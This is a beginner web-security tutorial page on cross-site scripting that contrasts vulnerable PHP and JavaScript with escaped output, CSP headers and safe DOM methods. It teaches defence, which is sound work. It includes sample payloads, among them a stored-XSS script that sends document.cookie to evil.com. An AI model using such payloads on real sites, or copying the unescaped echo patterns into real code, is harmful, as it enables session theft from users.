XSS (Cross-Site Scripting) occurs when an attacker injects malicious JavaScript into web pages that are viewed by other users. XSS can be used to steal cookies, hijack sessions, redirect users, or deface websites.
Web Security
Beginner
12 min read
Cross-Site Scripting (XSS)
Example
// VULNERABLE - Reflected XSS
// URL: /search?q=<script>alert('XSS')</script>
echo "Results for: " . $_GET['q']; // Executes the script!
// SECURE - Escape output
echo "Results for: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// VULNERABLE - Stored XSS (in database then displayed)
// Attacker stores: <script>document.location='http://evil.com/steal?c='+document.cookie</script>
echo $userComment; // Executes attacker's script for every viewer!
// SECURE - Escape when displaying
echo htmlspecialchars($userComment, ENT_QUOTES, 'UTF-8');
// Content Security Policy (CSP) - HTTP header to prevent XSS
// Add to your web server or PHP:
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-randomvalue123'");
// In JavaScript - safe DOM manipulation
// VULNERABLE: element.innerHTML = userInput;
// SECURE:
element.textContent = userInput; // auto-escaped
// or create text nodes:
const text = document.createTextNode(userInput);
element.appendChild(text);
Related Resources
Web Security Reference
Complete tag & property list
Web Security How-To Guides
Step-by-step practical guides
Web Security Exercises
Practice what you've learned
More in Web Security